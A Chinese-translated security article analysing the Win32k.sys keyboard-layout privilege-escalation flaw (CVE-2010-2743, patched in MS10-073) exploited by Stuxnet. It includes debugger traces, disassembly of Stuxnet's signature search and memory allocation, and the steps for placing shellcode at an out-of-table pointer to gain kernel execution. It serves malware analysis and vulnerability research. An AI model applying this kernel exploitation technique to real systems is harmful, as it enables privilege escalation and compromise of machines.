首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
Win32k.sys键盘布局文件提权漏洞分析
来源:http://riusksk.blogbus.com 作者:riusksk 发布时间:2011-05-17  
作者:Sebastien Renaud
译者:riusksk(泉哥:http://riusksk.blogbus.com)
 
本文将向各位揭示一些关于Stuxnet蠕虫病毒的技术细节,主要旨在讲述作者是如何利用0day漏洞实现代码的通用性。文中讨论的是作者所用到的两个Windows提权漏洞之一。这一漏洞在微软发布的MS10-073升级补丁中已经修复了,但还有另一个windows任务调度(Task Scheduler)漏洞尚未修补。虽然本文将深入分析Stuxnet病毒及其执行的恶意行为,但我们仍将不会公布由来自Symantec和ESET的朋友所写的两份详细文档,包括其具体目录和内容。我们将主要关注下Windows Win32K.sys 键盘布局文件提权漏洞(CVE-2010-2743)并分析下Stuxnet病毒是如何使用自定义的Portable Executable (PE)解析方式来实现代码的通用性的。
 
<!--[if !supportLists]-->1.       <!--[endif]-->漏洞分析
此漏洞存在于windows驱动文件”win32k.sys”中,当其从磁盘中加载一个键盘布局文件时,由于不正当地去索引函数指针列表,导致本地提权漏洞的产生。通常,键盘布局文件是通过”LoadKeyboardLayout()”函数来加载的,该函数其实是对win32k syscall函数 ”NtUserLoadKeyboardLayoutEx()” 的封装。下面是加载键盘布局文件后内核中的栈情况:
kd> kn
# ChildEBP RetAddr 
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel)
一旦恶意构造的键盘布局文件被win32k内核驱动加载后,恶意程序将会向键盘输入流中发送一个事件,进而有效地触发漏洞。此过程会调用”user32!SendUserInput()”函数来执行,其实,它是调用了”win32k!NtUserSendInput()”和”win32k!xxxKENLSProcs()”这两个函数:
kd> kn
# ChildEBP RetAddr 
00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded
在”win32k!xxxKENLSProcs()”函数里面,win32k驱动会去检索先前加载的键盘布局文件中的某一字节。这一字节会被置入ECX寄存器,然后作为函数指针表的索引值:
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;

.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]  // ECX
可被攻击者控制
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]        // 
索引函数数组指针
aNLSVKFProc函数数组包含有3个函数,并且后面跟随着一段字节数组:
.data:BF99C4B8 _aNLSVKFProc   dd offset _NlsNullProc@12
.data:BF99C4BC                        dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0                        dd offset _KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5                        db 68h
.data:BF99C4C6                        db 69h
.data:BF99C4C7                        db 0FFh
.data:BF99C4C8                        db 64h
.data:BF99C4C9                        db 65h
.data:BF99C4CA                        db 66h
.data:BF99C4CB                        db 0FFh
.data:BF99C4CC                       
 db 61h
.data:BF99C4CD                       
 db 62h
.data:BF99C4CE                        db 63h
.data:BF99C4CF                        db 60h
.data:BF99C4D0                        db 6Eh
.data:BF99C4D1                        db 0
.data:BF99C4D2                        db 0
.data:BF99C4D3                        db 0
[...]
如果请求的索引值大于2,那么代码将会引用字节数组中的值作为指针。如果索引值为5,那么在函数”win32k!xxxKENLSProcs()”中的代码就会调用0xBF99C4CC处的指针,相当于程序将执行至0x60636261。
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk             // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal  // index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt        // index 2
bf99c4c4 ff696867                                                // index 3
bf99c4c8 ff666564                                                // index 4
bf99c4cc 60636261                                               // index 5
[...]
 
<!--[if !supportLists]-->2.       <!--[endif]-->通过PE解析提高代码执行的通用性
当aNLSVKFProc函数数组未被引用输出时,为了获得可在各个”win32k.sys”驱动版本上执行恶意代码的通用性,Stuxnet作者必须确保索引数据位于aNLSVKFProc数组之外,并且指向一个可控制的有效指针,然后执行”call”指令。为了达到上述目的,Stuxnet exploit解析Win32K.sys文件时使用以下方法:
 
以平面数据文件(flat data file,即无格式文件)的形式加载win32k.sys;
获取PE头相关信息(块数,输出表数据目录和输入表数据目录等等);
获取时间戳信息;
获取.data节段虚拟地址;
获取.data节段信息;
获取.text节段虚拟地址;
获取.text节段信息;
搜索特定的二进制签名;
搜索NLSVKFProcs函数数组。
 
Stuxnet使用一个在各”win32k.sys”驱动版本(位于Windows 2000和Windows XP中,并且在目标系统上安装好各服务包和补丁)上都存在的二进制签名。这一签名与”aulShiftControlCvt_VK_IBM02”变量(非输出)的前8字节相匹配,其位于二进制文件中的.data节段:
.data:BF99C4DC _aulShiftControlCvt_VK_IBM02 
.data:BF99C4DC  db 91h 
.data:BF99C4DD  db 0
.data:BF99C4DE  db 3
.data:BF99C4DF  db 1
.data:BF99C4E0  db 90h
.data:BF99C4E1  db 0
.data:BF99C4E2  db 13h
.data:BF99C4E3  db 1
目前已知签名:
 
存在于各win32k驱动版本;
具有唯一性;
aNLSVKFProc函数数组附近。
 
一旦签名被找到,病毒就在偏移签名处 -1000 ~ +1000 字节的地址范围内,去搜索驱动中的代码块指针。如下所示,位于0xBF99C478(0xBF9332CA)的指针就指向了代码段:
.data:BF99C470 07  00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF
上述数据转储若从代码的角度来看,情况如下:
.data:BF99C470 _fNlsKbdConfiguration db 7 
.data:BF99C471                     align 8
.data:BF99C478 _aNLSKEProc                 dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C               dd offset _NlsLapseProc@12
.data:BF99C480                                     dd offset _NlsNullProc@12 
[...]
当这样的指针被找到后,病毒将遵循以下条件进行处理(记住,当前代码停在0xBF99C478,我们称之为”pLoc”):
- pLoc[0] 和 pLoc[2] 必须是同一指针:
 .data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12 
- pLoc[0]和pLoc[1] 必须非同一指针:
.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12 
- pLoc[0]和pLoc[3] 必须非同一指针:
.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C              dd offset _NlsLapseProc@12
.data:BF99C480                                    dd offset _NlsNullProc@12 
.data:BF99C484                                    dd offset _NlsSendParamVk@12 
满足以上条件后,病毒就基本可以确定找到”_aNLSKEProc”数组了。然而它将进一步检测该地址上的指针是否指向NlsNullProc()函数,这个通过搜索函数前几字节中的RETN 0C指令(机器码:0xC20C)即可实现:
.text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near 
.text:BF9332CA                                  xor eax, eax
.text:BF9332CC                                  inc eax
.text:BF9332CD                                  retn 0Ch   // opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp
下面是Stuxnet病毒进行机器码搜索的一段反汇编代码:
CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5]     // ecx points to func code
10002C64 |XOR EAX,EAX 
10002C66 |POP EDI                                             // edi = 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c
10002C71 ||SETE AL                                            // set AL on condition
10002C74 ||INC EDI
10002C75 ||CMP EDI,0A                                      // check only for the first 8 bytes
10002C78 |\JB SHORT 10002C67
如果找到”RETN 0C”指令,则当前代码定位在_aNLSKEProc变量中(0xBF99C478):
.data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12
到这后,程序还会进一步搜索下一个”NlsNullProc()” 函数指针:
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
.data:BF99C4B8 _aNLSVKFProc: 
.data:BF99C4B8                                   dd offset _NlsNullProc@12
.data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 
如上所见,它找到了非输出的aNLSVKFProc 函数数组。为了确保变量正确,病毒又进行了两次检测:
- 在偏移 +2处的指针不为NlsNullProc:
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
.data:BF99C4B8 _aNLSVKFProc: 
.data:BF99C4B8                                   dd offset _NlsNullProc@12
.data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 
- 在偏移 -2 处的指针不为NlsNullProc:
.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4                                   dd offset _NlsConvOrNonConvProc@12 
.data:BF99C4B8 _aNLSVKFProc: 
.data:BF99C4B8                                   dd offset _NlsNullProc@12
.data:BF99C4BC                                   dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0                                   dd offset _KbdNlsFuncTypeAlt@12 

当所有的这些检测都通过后,病毒就可以完全确定它是aNLSVKFProc了。然后从该函数数组开始检测第一个用户指针:
CPU Disasm
10002B35 MOV EDI,10000                                                      // edi = 0x10000
10002B3A /MOV ECX,DWORD PTR SS:[ARG.2]                         // _aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX]                  // esi = _aNLSVKFProc[i]
10002B43 |CMP ESI,7FFF0000                                                 // must be in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMP ESI,EDI                                                         // must be above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSH ESI                                                             // pointer outside array
10002B5C |CALL DWORD PTR DS:[VirtualQuery_p]                  // get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI                      // is it a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page 
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMP BL,0FF                                                          // i <= 255
10002B96 \JBE SHORT 10002B3A
上述代码片段是从Stuxnet反汇编代码中提取的,它先从函数指针表中获取指针(甚至是从表外获取的),然后检测该指针是否小于0x7FFF0000并大于0x10000。另外,代码还会检测内存页是否已经被映射,如果尚未映射,则分配内存页。在本例中,它将继续在地址0x60636261上分配内存:
kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk             // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal  // index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt        // index 2
bf99c4c4 ff696867                                                // index 3
bf99c4c8 ff666564                                                // index 4
bf99c4cc 60636261                                               // index 5
[...]
内存分配完成后,病毒将执行以下操作:
 
● 将shellcode复制到0x60636261地址上;
● 在键盘布局文件中保存恶意索引值(本例中值为5);
● 加载键盘布局文件并发送输入事件,进而触发漏洞。
 
最后一步是执行”win32k!xxxKENLSProcs()”函数,然后调用从函数数组中索引得到的函数指针,接着以内核权限去执行任意的shellcode代码。
; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]      // ECX = 5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]            // Call 0x60636261
正如我们所见到的,在各个操作系统版本(2000或者XP)并安装了各服务包和补丁的情况下,Stuxnet使用了特意构造的PE解析方式,进而保证了函数数组能够被稳定地找到并进行漏洞利用。
该病毒所使用的方法还可以做进一步的改进,或者采用其它不同的方式。但这一病毒的出现正如人们所预料的,它再一次证明了:病毒作者变得越来越聪明了。

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·MS07-014调试手记
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·小心我“DIR”溢出你!
·CVE-2010-4258漏洞分析
·Adobe Reader 'CoolType.dll' TT
·PHPBB<+2.0.10 漏洞说明
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·Exim "string_vforat()" 溢出漏
·Adobe Reader 'CoolType.dll' TT
·注入点检测新方法
·CVE-2010-4258漏洞分析
·Hack.lu之mealtime中的反调试技
·MS07-014调试手记
·对一款国家级内容过滤系统Dos安
·RPC漏洞的通用分析方法
·udp_sendmsg空指针漏洞分析
·mb_ereg(i)_replace()代码注射漏
·preg_match(_all)的变量初始化问
·intval()使用不当导致安全漏洞的
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved